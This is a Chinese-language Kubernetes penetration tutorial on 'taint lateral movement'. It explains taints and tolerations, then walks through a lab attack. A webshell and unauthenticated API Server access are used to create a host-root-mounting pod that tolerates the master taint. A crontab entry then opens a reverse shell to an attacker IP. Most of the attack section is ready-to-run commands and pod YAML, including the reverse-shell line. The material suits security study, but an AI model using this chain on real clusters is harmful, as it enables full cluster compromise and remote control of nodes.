什么是"污点横移"?
在 K8S 中,利用污点(Taint)进行横向移动渗透是指攻击者通过操纵或绕过集群中的污点和容忍(Toleration)机制,将恶意负载(Pod)调度到原本受保护的节点上,从而突破隔离并进一步渗透集群。污点和容忍是 K8S 的合法功能,设计目的是增强安全性。问题通常源于错误的权限分配(如过宽的 RBAC 策略)或不安全的容忍配置(如 Pod 容忍所有污点)。
污点(Taint)
污点是节点(Node)上设置的标记,用于拒绝不符合条件的 Pod 调度到该节点。
可通过以下命令查看节点上的污点设置
kubectl describe node <节点名称>
在输出中,可以看到以下内容,含污点信息

针对性查看所有节点的污点信息
kubectl describe node | grep 'Taints' -A 5

污点一般有三种值:
NoSchedule: 禁止调度新的 Pod 到该节点。
PreferNoSchedule: 优先避免将 Pod 调度到该节点,但不是强制性的。
NoExecute: 禁止新的 Pod 调度到该节点,并驱逐不容忍该污点的现有 Pod。
容忍(Toleration)
容忍是 Pod 上设置的属性,允许 Pod 被调度到带有特定污点的节点。
可通过以下命令查看Pod上的Toleration属性
kubectl describe pod <pod-name>
在输出最后,可以看到容忍信息

总结
污点(Taint)与容忍(Toleration) 这一机制通常用于隔离敏感工作负载(例如,将数据库 Pod 限制到专用节点)。

K8S渗透,通常通过创建恶意Pod并将其调度到目标节点上进行,攻击者可利用Pod挂载宿主机的目录或通过特权容器等方式获取节点权限。如果集群中存在多个节点,K8S会根据污点(Taints)和容忍度(Tolerations)机制控制Pod的调度,默认情况下带污点的节点不会接受Pod调度,因此攻击者无法轻易将Pod调度到这些节点上。而主节点(Master Node)通常默认不支持调度普通Pod,以避免对集群管理组件产生影响,除非通过修改污点或设置容忍度来改变这一行为。因此,恶意Pod调度的成功与否与节点是否存在污点、主节点的调度策略以及容忍度的设置密切相关。
实战模拟
攻击者拿到 Node 节点或者节点上某个 Pod 权限的权限。使用 kubelet 配合 API Server 未授权访问创建恶意 Pod ,设置容忍污点,把 Pod 调度到 Master 节点上,进而通过这个 Pod 获取 Master 节点权限。
1、搭建环境
(1)k8s将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,造成 API Server 6443端口的未授权访问
#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous
#验证
kubectl get clusterrolebinding system:anonymous

(2)k8s搭建一个struts2漏洞环境
kubectl create deployment struts --image=vulhub/struts2:2.3.28
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort
kubectl get pod,svc
浏览器访问

2、模拟渗透
(1)从攻击者视角看,首先,攻击者取得webshell权限

哥斯拉连接后,发现一些命令无法使用,通过 ls -al / 一查看到.dockerenv,确定是docker容器

进一步使用 cat /proc/1/cgroup 命令,确定为K8S集群,目前在K8S的Pod里面

(2)攻击者上传CDK工具,进行进一步信息收集

通过以下命令进行信息收集
./cdk eva
发现存在 API Server 未授权!

找到k8s内网通信地址,并记录

(3)攻击者在Pod中使用curl命令下载kubectl工具,准备进一步渗透
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
#并赋予执行权限
chmod +x kubectl
#或者直接将下载的kubectl文件复制到/usr/local/bin/目录,并设置执行权限
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

由于存在API Server未授权访问,根据刚才CDK收集到的地址,使用以下命令继续探测
kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 get node -o wide
kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 get pod -o wide
如图,发现1台master,2台node,且发现目前所在的Pod在node2节点上

3、污点横移
于是攻击者考虑利用API Server未授权创建恶意Pod,同时利用污点设置横向移动到master节点,直接获取master节点权限!
(1)首先,使用如下命令查看各个节点的污点设置
kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 describe node | grep 'Taints' -A 5

(2)接下来,根据以上污点设置创建恶意Pod
#通过cat写入1.yaml配置文件
cat > 1.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: qqqq
spec:
tolerations:
- key: node-role.kubernetes.io/master #设置容忍,允许Pod调度到master节点上
operator: Exists
effect: NoSchedule
containers:
- name: qqqq
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: qqqq
mountPath: /qiuhui
volumes:
- name: qqqq
hostPath:
path: /
type: Directory
EOF
#使用1.yaml创建Pod
kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 create -f 1.yaml
经过多次创建,Pod终于被调度到master节点上

(3)写入计划任务到master节点,反弹shell
kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 exec qqq -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.255.128/4449 0>&1\n' >> /qiuhui/etc/crontab"
成功获取master主节点权限!
